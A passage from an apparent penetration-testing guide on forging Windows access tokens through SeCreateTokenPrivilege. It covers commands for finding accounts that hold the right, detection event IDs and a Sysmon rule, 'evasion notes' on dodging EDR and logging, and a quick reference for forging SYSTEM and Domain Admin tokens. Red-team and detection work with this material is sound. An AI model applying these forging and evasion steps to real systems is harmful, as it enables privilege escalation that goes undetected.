On modern Windows (10+), the kernel performs additional security checks on impersonation tokens. The NtSetInformationThread bypass may not work on all builds. Test on the target OS version. If blocked, the most reliable approach is to include SeAssignPrimaryTokenPrivilege in the forged token and use CreateProcessAsUserW.

When You Encounter This in the Wild

Service Accounts

Third-party applications sometimes request SeCreateTokenPrivilege via Group Policy:
Computer Configuration → Windows Settings → Security Settings → 
  Local Policies → User Rights Assignment → Create a token object
Check what accounts hold this right:
secedit /export /cfg C:\Temp\secpol.cfg
type C:\Temp\secpol.cfg | findstr /i "SeCreateTokenPrivilege"
# Parse exported policy
$policy = Get-Content C:\Temp\secpol.cfg
$policy | Select-String "SeCreateTokenPrivilege"

Common Scenarios

ScenarioWhy SeCreateTokenPrivilege ExistsExploitation Path
Custom SSO/authentication serviceService creates tokens for users after custom authCompromise service → forge any token
Backup/imaging agentRestores files with original ownership SIDsCompromise agent account → forge SYSTEM
Virtual Desktop Infrastructure (VDI)Session broker creates user sessionsCompromise VDI service → forge Domain Admin
Legacy COM+ applicationsRequired for certain COM+ activation scenariosCompromise the configured identity
Misconfigured Group PolicyAdmin added a service account manuallyCompromise that service account

Identifying via WinPEAS

winpeas.exe quiet tokeninfo

Identifying via PowerUp

Import-Module .\PowerUp.ps1
Get-ProcessTokenPrivilege | Where-Object { $_.Privilege -eq "SeCreateTokenPrivilege" }

Identifying via Seatbelt

Seatbelt.exe TokenPrivileges

Detection and Logging

Event IDs

Event IDLogWhat It Catches
4672SecuritySpecial privileges assigned to new logon — fires when a logon session receives SeCreateTokenPrivilege
4688SecurityProcess creation — shows the command that spawned the forging tool
4624SecurityLogon event — the forged token may generate a type 9 (NewCredentials) or type 2 (Interactive) logon
4634SecurityLogoff — when the forged logon session ends
10SysmonProcess access — if the forging tool opens other processes to inject
1SysmonProcess creation — child process spawned with the forged token
17/18SysmonPipe created/connected — if using named pipe impersonation as part of the chain

What Triggers Alerts

  1. Event 4672 with SeCreateTokenPrivilege for any account other than SYSTEM or LSASS is highly anomalous
  2. Process lineage anomalies — a service account process spawning cmd.exe as SYSTEM
  3. Token integrity mismatch — a medium-integrity process creating a high-integrity or system-integrity token
  4. Unusual NtCreateToken syscalls — EDR/ETW can trace syscalls to ntdll

Sysmon Configuration for Detection

<RuleGroup groupRelation="or">
  <ProcessAccess onmatch="include">
    <!-- Detect NtCreateToken abuse -->
    <CallTrace condition="contains">ntdll.dll+NtCreateToken</CallTrace>
  </ProcessAccess>
</RuleGroup>

ETW Provider for Token Operations

# Microsoft-Windows-Security-Auditing
# Category: Token Right Adjusted Events
logman create trace TokenMonitor -p "Microsoft-Windows-Security-Auditing" -o C:\Temp\tokens.etl
logman start TokenMonitor

Evasion Notes

  • The TokenSource field in NtCreateToken is logged — set it to something legitimate like "User32 " or "Advapi " instead of a custom string
  • NtCreateToken goes through the kernel, not a user-mode API — direct syscall stubs (SysWhispers) bypass ntdll hooking
  • The forged token’s logon session LUID is visible in Event 4624 — using SYSTEM_LUID makes the logon appear as a normal SYSTEM activity
  • Avoid spawning interactive processes — use ImpersonateLoggedOnUser for in-thread operations to reduce process creation events

Quick Reference

TaskMethodNotes
Check for privilegewhoami /priv | findstr SeCreateTokenPrivilegeMust be present (Enabled or Disabled)
Enable if disabledAdjustTokenPrivilegesSoft toggle — enable programmatically
Forge SYSTEM tokenNtCreateToken with User=S-1-5-18, LUID=0x3e7Full local machine control
Forge Admin tokenNtCreateToken with User=S-1-5-21-…-500Local administrator
Forge Domain AdminNtCreateToken with User=S-1-5-21-…-500, Groups include -512Local access only (no Kerberos TGT)
Impersonate in-threadImpersonateLoggedOnUserNeeds SeImpersonatePrivilege or same session
Spawn processCreateProcessWithTokenWNeeds SeImpersonatePrivilege
Spawn process (alt)CreateProcessAsUserWNeeds SeAssignPrimaryTokenPrivilege
Toolingtoken-privPre-built exploitation of token privileges
SIDIdentityCommon Use
S-1-5-18SYSTEMToken user for max local access
S-1-5-32-544BUILTIN\AdministratorsMandatory group for admin operations
S-1-5-21-<domain>-500Domain AdministratorDomain admin identity
S-1-5-21-<domain>-512Domain AdminsDomain admin group membership
S-1-5-21-<domain>-519Enterprise AdminsForest-level admin group
S-1-1-0EveryoneStandard group (include for compatibility)
S-1-5-11Authenticated UsersStandard group
S-1-16-12288High Mandatory LevelIntegrity level for admin tokens
S-1-16-16384System Mandatory LevelIntegrity level for SYSTEM tokens